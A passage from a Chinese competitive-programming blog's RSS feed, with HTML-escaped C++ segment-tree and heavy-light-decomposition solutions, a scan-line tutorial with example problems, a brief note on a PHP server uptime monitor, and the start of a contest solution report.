        tree[now] = tree[ now &amp;lt;&amp;lt; 1 ] + tree[ now &amp;lt;&amp;lt; 1 | 1 ];
}

inline void pushup( int now, int left, int rig ) {
    if( lazy[now &amp;lt;&amp;lt; 1] &amp;amp;&amp;amp; lazy[ now &amp;lt;&amp;lt; 1 | 1 ] ) {
        int tmp = Min( lazy[now &amp;lt;&amp;lt; 1], lazy[ now &amp;lt;&amp;lt; 1 | 1 ] );
        lazy[now] = tmp;
        lazy[ now &amp;lt;&amp;lt; 1 ] -= tmp;
        lazy[ now &amp;lt;&amp;lt; 1 | 1 ] -= tmp;
        int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
        calc( now &amp;lt;&amp;lt; 1, left, mid );
        calc( now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
    }
}

inline void pushdown( int now, int left, int rig ) {
    if( lazy[now] ) {
        int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
        lazy[ now &amp;lt;&amp;lt; 1 ] += lazy[now];
        lazy[ now &amp;lt;&amp;lt; 1 | 1 ] += lazy[now];
        calc( now &amp;lt;&amp;lt; 1, left, mid );
        calc( now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
        lazy[now] = 0;
        calc( now, left, rig );
    }
}

void query_add( int from, int to, int val, int now, int left, int rig ) {
    if( from &amp;lt;= left &amp;amp;&amp;amp; rig &amp;lt;= to ) {
        lazy[now] += val;
        calc( now, left, rig );
        return ;
    }
    int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
    pushdown( now, left, rig );
    if( from &amp;lt;= mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1, left, mid );
    if( to &amp;gt; mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
    pushup( now, left, rig );
    calc( now, left, rig );
}
// Segment Tree End

// Heavy-Light Decompostion Start
int fa[N], fir[N], last[N], son[N], mson[N], top[N], cnt;
void dfs1( int now ) {
    fir[now] = ++ cnt; son[now] = 1;
    for( int i = ehead[now]; i; i = e[i].next ) {
        if( e[i].to == fa[now] )
            continue;
        fa[ e[i].to ] = now;
        dfs1( e[i].to );
        son[now] += son[ e[i].to ];
        if( son[ mson[now] ] &amp;lt; son[ e[i].to ] )
            mson[now] = e[i].to;
    }
    last[now] = cnt;
}

void dfs2( int now ) {
    if( top[now] == 0 )
        top[now] = now;
    if( son[now] == 1 )
        return ;
    top[ mson[now] ] = top[now];
    dfs2( mson[now] );
    for( int i = ehead[now]; i; i = e[i].next ) {
        if( e[i].to == fa[now] || e[i].to == mson[now] )
            continue;
        dfs2( e[i].to );
    }
}

int get_son( int from, int to ) {
    int tmp;
    while( top[from] != top[to] ) {
        tmp = top[from];
        from = fa[ top[from] ];
    }
    if( from == to ) { return tmp; }
    return mson[to];
}
// Heavy-Light Decompostion End

// Seq Start
struct seq {
    int left, rig, y;
    bool add;
} s[N * 16];
bool cmp( seq a, seq b ) { return a.y &amp;lt; b.y; }

inline void add_seq( int left, int rig, int low, int high ) {
    if( left &amp;gt; rig || low &amp;gt; high ) {
        return ;
    }
    int tmp = 0;
    s[ ++ scnt ] = (seq) { left, rig, low, true };
    s[ ++ scnt ] = (seq) { left, rig, high + 1, false };
    s[ ++ scnt ] = (seq) { low, high, left, true };
    s[ ++ scnt ] = (seq) { low, high, rig + 1, false };
    tmp = Min( rig, high ) - Max( low, left ) + 1;
    if( tmp &amp;gt; 0 )
        ans -= 1LL * tmp;
}
// Seq End

int main() {
    freopen( &quot;tree.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tree.out&quot;, &quot;w&quot;, stdout );
    n = read(), m = read();
    for( int i = 1, x, y; i &amp;lt; n; i++ ) {
        x = read(), y = read();
        add_edge( x, y );
        add_edge( y, x );
    }

    dfs1( 3 );
    dfs2( 3 );

    for( int i = 1, x, y; i &amp;lt;= m; i++ ) {
        x = read(), y = read();
        if( fir[y] &amp;lt; fir[x] )
            std::swap( x, y );
        if( fir[x] &amp;lt;= fir[y] &amp;amp;&amp;amp; fir[y] &amp;lt;= last[x] ) {
            int tmp = get_son( y, x );
            add_seq( fir[y], last[y], 1, fir[x]);
            add_seq( fir[y], last[y], last[x] + 1, n );
            add_seq( fir[y], last[y], fir[x] + 1, fir[tmp] - 1 );
            add_seq( fir[y], last[y], last[tmp] + 1, last[x] );
        }
        else {
            add_seq( fir[x], last[x], fir[y], last[y] );
        }
    }

    std::sort( s + 1, s + scnt + 1, cmp );

    int p = 1;
    for( int i = 1; i &amp;lt;= n; i++ ) {
        while( s[p].y &amp;lt;= i &amp;amp;&amp;amp; p &amp;lt;= scnt ) {
            if( s[p].left != 0 &amp;amp;&amp;amp; s[p].rig != 0 )
                query_add( s[p].left, s[p].rig, s[p].add? 1: -1, 1, 1, n );
            p ++;
        }
        ans = ( ans + 1LL * tree[1] );
    }

    printf( &quot;%I64d\n&quot;, ( ( 1LL * n * ( n - 1 ) - ans ) &amp;gt;&amp;gt; 1LL ) );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>扫描线</title><link>https://blog.woshiluo.com/posts/2019/08/%E6%89%AB%E6%8F%8F%E7%BA%BF/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E6%89%AB%E6%8F%8F%E7%BA%BF/</guid><pubDate>Thu, 08 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1 什么是扫描线&lt;/h2&gt;
&lt;p&gt;在 Oi 中，扫描线通常用于解决二维平面上的&lt;strong&gt;矩形面积并问题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;前置知识：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;线段树&lt;/li&gt;
&lt;li&gt;离散化（有的题目不需要）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;1.1 矩形面积并&lt;/h3&gt;
&lt;p&gt;在一个平面直角坐标系中，有&lt;strong&gt;多个矩形&lt;/strong&gt;，现在询问这些矩形&lt;strong&gt;总共覆盖&lt;/strong&gt;了多少面积&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/%E6%8D%95%E8%8E%B7-1565248536624-1024x621.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;矩形面积并&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h3&gt;1.2 扫描线&lt;/h3&gt;
&lt;p&gt;由于矩形之间可能存在互相覆盖的情况&lt;/p&gt;
&lt;p&gt;直接朴素的算法复杂度非常的低&lt;/p&gt;
&lt;p&gt;我们可以考虑做将图形以 $y$ 坐表分成多行&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/%E6%8D%95%E8%8E%B7-1565248879507.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;分层后&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;考虑&lt;strong&gt;分别&lt;/strong&gt;计算每一行的面积&lt;/p&gt;
&lt;p&gt;这显然是 $ O(n ^ 2) $&lt;/p&gt;
&lt;p&gt;但是每一行可以使用线段树维护&lt;/p&gt;
&lt;p&gt;即将线段树视为一条线，从 $y = 0$ 向上&lt;strong&gt;扫描&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后将每个矩形拆分成两条线段 —— 下面的边和上面的边&lt;/p&gt;
&lt;p&gt;扫描到下面的边所在区间 +1, 否则 -1，累加在&lt;strong&gt;每一行&lt;/strong&gt;时线段树查询所得结果即为答案&lt;/p&gt;
&lt;p&gt;这就是扫描线&lt;/p&gt;
&lt;h2&gt;2 线段树的问题&lt;/h2&gt;
&lt;p&gt;扫描线有一个非常重要的问题&lt;/p&gt;
&lt;p&gt;即我们线段树应当如何&lt;strong&gt;维护&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.1 方案 1&lt;/h3&gt;
&lt;p&gt;每个节点维护两个值 &lt;code&gt;len&lt;/code&gt; &lt;code&gt;cnt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;len&lt;/code&gt; 表示当前区间所有&lt;strong&gt;有值&lt;/strong&gt;的个数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cnt&lt;/code&gt; 表示当前区间被加了几次&lt;/p&gt;
&lt;p&gt;每次&lt;strong&gt;只&lt;/strong&gt; PushUp，不进行 PushDown&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int tree[N &amp;lt;&amp;lt; 2], tree_cnt[N &amp;lt;&amp;lt; 2];

inline void push_up( int now, int left, int rig ) {
    if( tree_cnt[now] )
        tree[now] = ( rig - left + 1 );
    else if( rig - left == 0 )
        tree[now] = 0;
    else
        tree[now] = tree[ now &amp;lt;&amp;lt; 1 ] + tree[ now &amp;lt;&amp;lt; 1 | 1 ];
}

void query_add( int from, int to, int val, int now, int left, int rig ) {
    if( from &amp;lt;= left &amp;amp;&amp;amp; rig &amp;lt;= to ) {
        tree_cnt[now] += val;
        push_up( now, left, rig );
        return ;
    }
    int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
    if( from &amp;lt;= mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1, left, mid );
    if( to &amp;gt; mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
    push_up( now, left, rig );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这份代码中，&lt;code&gt;Tree&lt;/code&gt; 表示 &lt;code&gt;len&lt;/code&gt;, &lt;code&gt;Tree_cnt&lt;/code&gt; 表示 &lt;code&gt;cnt&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于我们只查询 &lt;code&gt;tree[1]&lt;/code&gt; ，并且保证先加后减，因此这个做法是对的&lt;/p&gt;
&lt;h3&gt;2.2 方案 2&lt;/h3&gt;
&lt;p&gt;这个方法具用更加强的普遍性&lt;/p&gt;
&lt;p&gt;通过对 PushUp 和 PushDown 的魔改，使得在这里线段树可以像平常一样使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int tree[N &amp;lt;&amp;lt; 2], lazy[N &amp;lt;&amp;lt; 2];

inline void calc( int now, int left, int rig ) {
    if( lazy[now] )
        tree[now] = ( rig - left + 1 );
    else if( rig - left == 0 )
        tree[now] = 0;
    else
        tree[now] = tree[ now &amp;lt;&amp;lt; 1 ] + tree[ now &amp;lt;&amp;lt; 1 | 1 ];
}

inline void pushup( int now, int left, int rig ) {
    if( lazy[now &amp;lt;&amp;lt; 1] &amp;amp;&amp;amp; lazy[ now &amp;lt;&amp;lt; 1 | 1 ] ) {
        int tmp = Min( lazy[now &amp;lt;&amp;lt; 1], lazy[ now &amp;lt;&amp;lt; 1 | 1 ] );
        lazy[now] = tmp;
        lazy[ now &amp;lt;&amp;lt; 1 ] -= tmp;
        lazy[ now &amp;lt;&amp;lt; 1 | 1 ] -= tmp;
        int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
        calc( now &amp;lt;&amp;lt; 1, left, mid );
        calc( now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
    }
}

inline void pushdown( int now, int left, int rig ) {
    if( lazy[now] ) {
        int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
        lazy[ now &amp;lt;&amp;lt; 1 ] += lazy[now];
        lazy[ now &amp;lt;&amp;lt; 1 | 1 ] += lazy[now];
        calc( now &amp;lt;&amp;lt; 1, left, mid );
        calc( now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
        lazy[now] = 0;
        calc( now, left, rig );
    }
}

void query_add( int from, int to, int val, int now, int left, int rig ) {
    if( from &amp;lt;= left &amp;amp;&amp;amp; rig &amp;lt;= to ) {
        lazy[now] += val;
        calc( now, left, rig );
        return ;
    }
    int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
    pushdown( now, left, rig );
    if( from &amp;lt;= mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1, left, mid );
    if( to &amp;gt; mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
    pushup( now, left, rig );
    calc( now, left, rig );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 例题&lt;/h2&gt;
&lt;h3&gt;3.1 Luogu P1502 窗口的星星&lt;/h3&gt;
&lt;p&gt;因为坐标过大，需要离散化&lt;/p&gt;
&lt;p&gt;这里的扫描线求的并不是矩形面积并&lt;/p&gt;
&lt;p&gt;正常线段树即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;algorithm&amp;gt;

const int N = 11000;

int _case, Max_ans, xcnt;
int n, W, H;
int left[N], rig[N];

struct node{
    int now, light, id;
    bool fl;
}x[N &amp;lt;&amp;lt; 1], y[N &amp;lt;&amp;lt; 1];

bool cmp(node a, node b) {return a.now &amp;lt; b.now;}

bool cmp1(node a, node b) {return a.now == b.now ? a.light &amp;gt; b.light: a.now &amp;lt; b.now;}

inline int Max(int a, int b) {return a &amp;gt; b? a : b;}

inline void init(){ Max_ans = xcnt = 0; }

inline void readin(){
    scanf(&quot;%d%d%d&quot;, &amp;amp;n, &amp;amp;W, &amp;amp;H);
    for(int i = 1; i &amp;lt;= n; i++){
        scanf(&quot;%d%d%d&quot;, &amp;amp;x[i].now, &amp;amp;y[i].now, &amp;amp;x[i].light);
        y[i].id = x[i].id = i;
        x[i].fl = y[i].fl = false;
        y[i].light = x[i].light;
    }
}

inline void get_pre(){
    for(int i = 1; i &amp;lt;= n; i++){
        x[i + n] = x[i];
        x[i + n].now += W - 1;
        x[i + n].fl = true;
        y[i + n] = y[i];
        y[i + n].now += H - 1;
        y[i + n].light = -y[i].light;
    }
    std::sort(x + 1, x + (n &amp;lt;&amp;lt; 1) + 1, cmp);
    for(int i = 1; i &amp;lt;= (n &amp;lt;&amp;lt; 1); i++){
        if(i == 1 || x[i].now != x[i - 1].now) xcnt++;
        if(!x[i].fl) left[ x[i].id ] = xcnt;
        else rig[ x[i].id ] = xcnt;
    }
    std::sort(y + 1, y + (n &amp;lt;&amp;lt; 1) + 1, cmp1);
}
// Segment Tree Start
int tree[N &amp;lt;&amp;lt; 3], lazy[N &amp;lt;&amp;lt; 3];

inline void pushup(int now){tree[now] = Max(tree[now &amp;lt;&amp;lt; 1], tree[now &amp;lt;&amp;lt; 1 | 1]);}

inline void pushdown(int now){
    if(lazy[now]){
        tree[now &amp;lt;&amp;lt; 1] += lazy[now];
        tree[now &amp;lt;&amp;lt; 1 | 1] += lazy[now];
        lazy[now &amp;lt;&amp;lt; 1] += lazy[now];
        lazy[now &amp;lt;&amp;lt; 1 | 1] += lazy[now];
        lazy[now] = 0 ;
    }
}

void build_tree(int now, int left, int rig){
    if(left == rig){
        tree[now] = lazy[now] = 0;
        return ;
    }
    int mid = (left + rig) &amp;gt;&amp;gt; 1;
    build_tree(now &amp;lt;&amp;lt; 1, left, mid);
    build_tree(now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig);
    tree[now] = lazy[now] = 0;
}

int query_Max(int now, int left, int rig, int from, int to){
    if(from &amp;lt;= left &amp;amp;&amp;amp; rig &amp;lt;= to){ return tree[now]; }
    pushdown(now);
    int mid = (left + rig) &amp;gt;&amp;gt; 1, res = 0;
    if(from &amp;lt;= mid) res = Max(query_Max(now &amp;lt;&amp;lt; 1, left, mid, from, to), res);
    if(to &amp;gt; mid) res = Max(query_Max(now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig, from, to), res);
    return res;
}

void query_add(int now, int left, int rig, int from, int to, int val){
    if(from &amp;lt;= left &amp;amp;&amp;amp; rig &amp;lt;= to){
        tree[now] += val;
        lazy[now] += val;
        return ;
    }
    pushdown(now);
    int mid = (left + rig) &amp;gt;&amp;gt; 1;
    if(from &amp;lt;= mid) query_add(now &amp;lt;&amp;lt; 1, left, mid, from, to, val);
    if(to &amp;gt; mid) query_add(now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig, from, to, val);
    pushup(now);
}
// Segment Tree End

void get_ans(){
    build_tree(1, 1, xcnt);
    for(int i = 1, tmp; i &amp;lt;= (n &amp;lt;&amp;lt; 1); i++){
        if(y[i].light &amp;gt; 0){
            tmp = query_Max(1, 1, xcnt, left[ y[i].id ], rig[ y[i].id ]);
            tmp += y[i].light;
            Max_ans = Max(tmp, Max_ans);
        }
        query_add(1, 1, xcnt, left[ y[i].id ], rig[ y[i].id ], y[i].light);
    }
    printf(&quot;%d\n&quot;, Max_ans);
}

int main(){
#ifdef woshiluo
    freopen(&quot;luogu.1502.in&quot;, &quot;r&quot;, stdin);
    freopen(&quot;luogu.1502.out&quot;, &quot;w&quot;, stdout);
#endif
    scanf(&quot;%d&quot;, &amp;amp;_case);
    while(_case--){
        init();
        readin();
        get_pre();
        get_ans();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 树&lt;/h3&gt;
&lt;p&gt;这是一道校内模拟赛的训练题目,详见结题报告&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;algorithm&amp;gt;

inline int read() {
    register char c = 0; register int now = 0;
    while( c &amp;lt; &apos;0&apos; || c &amp;gt; &apos;9&apos; )
        c = getchar();
    while( c &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; c &amp;lt;= &apos;9&apos; ) {
        now = ( now &amp;lt;&amp;lt; 3 ) + ( now &amp;lt;&amp;lt; 1 ) + ( c - 48 );
        c = getchar();
    }
    return now;
}

inline int Min( int a, int b ) { return a &amp;lt; b? a: b; }
inline int Max( int a, int b ) { return a &amp;gt; b? a: b; }

const int N = 1e5 + 10;

int n, m, scnt;
long long ans;

// Edge Start
struct edge {
    int to, next;
} e[N &amp;lt;&amp;lt; 2];
int ehead[N &amp;lt;&amp;lt; 1], ecnt;
inline void add_edge( int now, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// Edge End

// Segment Tree Start
int tree[N &amp;lt;&amp;lt; 2], tree_cnt[N &amp;lt;&amp;lt; 2];

inline void push_up( int now, int left, int rig ) {
    if( tree_cnt[now] )
        tree[now] = ( rig - left + 1 );
    else if( rig - left == 0 )
        tree[now] = 0;
    else
        tree[now] = tree[ now &amp;lt;&amp;lt; 1 ] + tree[ now &amp;lt;&amp;lt; 1 | 1 ];
}

void query_add( int from, int to, int val, int now, int left, int rig ) {
    if( from &amp;lt;= left &amp;amp;&amp;amp; rig &amp;lt;= to ) {
        tree_cnt[now] += val;
        push_up( now, left, rig );
        return ;
    }
    int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
    if( from &amp;lt;= mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1, left, mid );
    if( to &amp;gt; mid )
        query_add( from, to, val, now &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );
    push_up( now, left, rig );
}
// Segment Tree End

// Heavy-Light Decompostion Start
int fa[N], fir[N], last[N], son[N], mson[N], top[N], cnt;
void dfs1( int now ) {
    fir[now] = ++ cnt; son[now] = 1;
    for( int i = ehead[now]; i; i = e[i].next ) {
        if( e[i].to == fa[now] )
            continue;
        fa[ e[i].to ] = now;
        dfs1( e[i].to );
        son[now] += son[ e[i].to ];
        if( son[ mson[now] ] &amp;lt; son[ e[i].to ] )
            mson[now] = e[i].to;
    }
    last[now] = cnt;
}

void dfs2( int now ) {
    if( top[now] == 0 )
        top[now] = now;
    if( son[now] == 1 )
        return ;
    top[ mson[now] ] = top[now];
    dfs2( mson[now] );
    for( int i = ehead[now]; i; i = e[i].next ) {
        if( e[i].to == fa[now] || e[i].to == mson[now] )
            continue;
        dfs2( e[i].to );
    }
}

int get_son( int from, int to ) {
    int tmp;
    while( top[from] != top[to] ) {
        tmp = top[from];
        from = fa[ top[from] ];
    }
    if( from == to ) { return tmp; }
    return mson[to];
}
// Heavy-Light Decompostion End

// Seq Start
struct seq {
    int left, rig, y;
    bool add;
} s[N * 16];
bool cmp( seq a, seq b ) { return a.y &amp;lt; b.y; }

inline void add_seq( int left, int rig, int low, int high ) {
    if( left &amp;gt; rig || low &amp;gt; high ) {
        return ;
    }
    int tmp = 0;
    s[ ++ scnt ] = (seq) { left, rig, low, true };
    s[ ++ scnt ] = (seq) { left, rig, high + 1, false };
    s[ ++ scnt ] = (seq) { low, high, left, true };
    s[ ++ scnt ] = (seq) { low, high, rig + 1, false };
    tmp = Min( rig, high ) - Max( low, left ) + 1;
    if( tmp &amp;gt; 0 )
        ans -= 1LL * tmp;
}
// Seq End

int main() {
    freopen( &quot;tree.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tree.out&quot;, &quot;w&quot;, stdout );
    n = read(), m = read();
    for( int i = 1, x, y; i &amp;lt; n; i++ ) {
        x = read(), y = read();
        add_edge( x, y );
        add_edge( y, x );
    }

    dfs1( 3 );
    dfs2( 3 );

    for( int i = 1, x, y; i &amp;lt;= m; i++ ) {
        x = read(), y = read();
        if( fir[y] &amp;lt; fir[x] )
            std::swap( x, y );
        if( fir[x] &amp;lt;= fir[y] &amp;amp;&amp;amp; fir[y] &amp;lt;= last[x] ) {
            int tmp = get_son( y, x );
            add_seq( fir[y], last[y], 1, fir[x]);
            add_seq( fir[y], last[y], last[x] + 1, n );
            add_seq( fir[y], last[y], fir[x] + 1, fir[tmp] - 1 );
            add_seq( fir[y], last[y], last[tmp] + 1, last[x] );
        }
        else {
            add_seq( fir[x], last[x], fir[y], last[y] );
        }
    }

    std::sort( s + 1, s + scnt + 1, cmp );

    int p = 1;
    for( int i = 1; i &amp;lt;= n; i++ ) {
        while( s[p].y &amp;lt;= i &amp;amp;&amp;amp; p &amp;lt;= scnt ) {
            if( s[p].left != 0 &amp;amp;&amp;amp; s[p].rig != 0 )
                query_add( s[p].left, s[p].rig, s[p].add? 1: -1, 1, 1, n );
            p ++;
        }
        ans = ( ans + 1LL * tree[1] );
    }

    printf( &quot;%lld\n&quot;, ( ( 1LL * n * ( n - 1 ) - ans ) &amp;gt;&amp;gt; 1LL ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 资料来源及致谢&lt;/h2&gt;
&lt;p&gt;笔者在学习和记录的时候，学习了以下博客及代码，在此处一并表示感谢&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnblogs.com/whywhy/p/4214353.html&quot;&gt;线段树 (扫描线)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://acm.hdu.edu.cn/discuss/problem/post/reply.php?postid=14340&amp;amp;messageid=1&amp;amp;deep=0&quot;&gt;HDU 上的这则讨论&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>基于 PHP 的站点存活监测项目 一点笔记</title><link>https://blog.woshiluo.com/posts/2019/08/%E5%9F%BA%E4%BA%8E-php-%E7%9A%84%E7%AB%99%E7%82%B9%E5%AD%98%E6%B4%BB%E7%9B%91%E6%B5%8B%E9%A1%B9%E7%9B%AE-%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E5%9F%BA%E4%BA%8E-php-%E7%9A%84%E7%AB%99%E7%82%B9%E5%AD%98%E6%B4%BB%E7%9B%91%E6%B5%8B%E9%A1%B9%E7%9B%AE-%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</guid><pubDate>Wed, 07 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;项目链接: &lt;a href=&quot;https://github.com/woshiluo/server_uptime&quot;&gt;https://github.com/woshiluo/server_uptime&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1 为什么会有这个项目&lt;/h2&gt;
&lt;p&gt;NovaOJ 的服务器在乌市一中的内网，笔者身为 Oier，不可避免的有去内地培训的情况出现，无法保证及时得知内网的情况&lt;/p&gt;
&lt;p&gt;然而市面上绝大多数服务监控通常都支持公网（至少我是只找到了公网的按钮）&lt;/p&gt;
&lt;p&gt;轮子好像是有的，但是我 Python 功底薄弱，迫于要搞 Oi，没有时间学习新语言&lt;/p&gt;
&lt;p&gt;那就造新轮子吧！&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 如何探测&lt;/h2&gt;
&lt;p&gt;内网的探测结果要想发到公网只能主动探测&lt;/p&gt;
&lt;p&gt;所以可以在内网搞一台监控机器，或者自己监控自己&lt;/p&gt;
&lt;p&gt;然后定时运行，将数据发往服务器即可&lt;/p&gt;
&lt;p&gt;但是这样子搞，如果监测服务器挂了怎么办？&lt;/p&gt;
&lt;p&gt;目前还没有比较优雅的方案，现行方式是超过预定时间的 3 倍没有发来探测结果，定义为 Unknow&lt;/p&gt;
&lt;h2&gt;3 使用效果及可以考虑的改进&lt;/h2&gt;
&lt;p&gt;目前该项目已经在 &lt;a href=&quot;https://api.woshiluo.site/status&quot;&gt;https://api.woshiluo.site/status&lt;/a&gt; 运行了长达一个月的时间&lt;/p&gt;
&lt;p&gt;除了开始两天出了一点小问题以外，并未出现大的问题&lt;/p&gt;
&lt;p&gt;服务存活率是一个一直在服务器中存的但是从未写出来的东西，有时间会加上&lt;/p&gt;
&lt;p&gt;可以肯定的是，这种服务监测方式是有效且可行的&lt;/p&gt;
&lt;p&gt;目前已知并可能改进的东西有&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;多个监测结果并到一起发送给 Server 端，之前有因为短时间内请求过多被防火墙视为 DDos 的情况出现&lt;/li&gt;
&lt;li&gt;可以考虑将页面变为静态页面减少读写情况&lt;/li&gt;
&lt;li&gt;应当探测 SSL 证书相关情况并及时报警&lt;/li&gt;
&lt;li&gt;应当将报警发送至 邮箱 / 机器人 上，以便及时知道相关情况&lt;/li&gt;
&lt;li&gt;该在市一中放一个备用探测机了……&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>linux</category><category>share</category><author>woshiluo</author></item><item><title>中山纪念中学 Day 4 2019.08.04 解题报告 &amp; 题解</title><link>https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-4-2019-08-04-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-4-2019-08-04-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</guid><pubDate>Tue, 06 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;T1 锻造 Forging&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上的时候总觉得题目非常的奇妙&lt;/p&gt;
&lt;p&gt;因为一直循环下去不就完了吗?&lt;/p&gt;
&lt;p&gt;直到后来我的同桌给我指点，原来把 DP 式子当方程解可以了&lt;/p&gt;
&lt;p&gt;还是太菜啊&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;显然，我们设 $ f[i] $ 为到第 $i$ 级的期望的话，则有&lt;/p&gt;
&lt;p&gt;设&lt;/p&gt;
&lt;p&gt;$$
f[i] = f[i - 2] + f[i - 1] + (1 - p) * (f[i] - f[i - 2])
$$&lt;/p&gt;
&lt;p&gt;整理得&lt;/p&gt;
&lt;p&gt;$$
f[i] = f[i - 2] + \frac{f[i - 1]}{p}
$$&lt;/p&gt;
&lt;p&gt;没了&lt;/p&gt;
&lt;p&gt;对了，线性求逆元才能过&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

inline int Min( int a, int b ) { return a &amp;lt; b? a: b; }

const int N = 1e7 + 1e2;
const int mod = 998244353;

inline int add( int a, int b ) {
    if( a + b &amp;gt; mod )
        return a + b - mod;
    return a + b;
}
inline int mul( int a, int b ) { return ( 1LL* a * b ) % mod; }

int n, a, bx, by, cx, cy, p;
int b[N], c[N], f[N], inv[N];

int main() {
    freopen( &quot;forging.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;forging.out&quot;, &quot;w&quot;, stdout );

    inv[1] = 1;
    for( int i = 2; i &amp;lt;= (int)(1e7); i++ )
        inv[i] = mul( mod - ( mod / i ), inv[ mod % i ] );

    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;a );
    scanf( &quot;%d%d%d%d%d&quot;, &amp;amp;bx, &amp;amp;by, &amp;amp;cx, &amp;amp;cy, &amp;amp;p );

    b[0] = by + 1; c[0] = cy + 1;
    for( int i = 1; i &amp;lt; n; i++ ) {
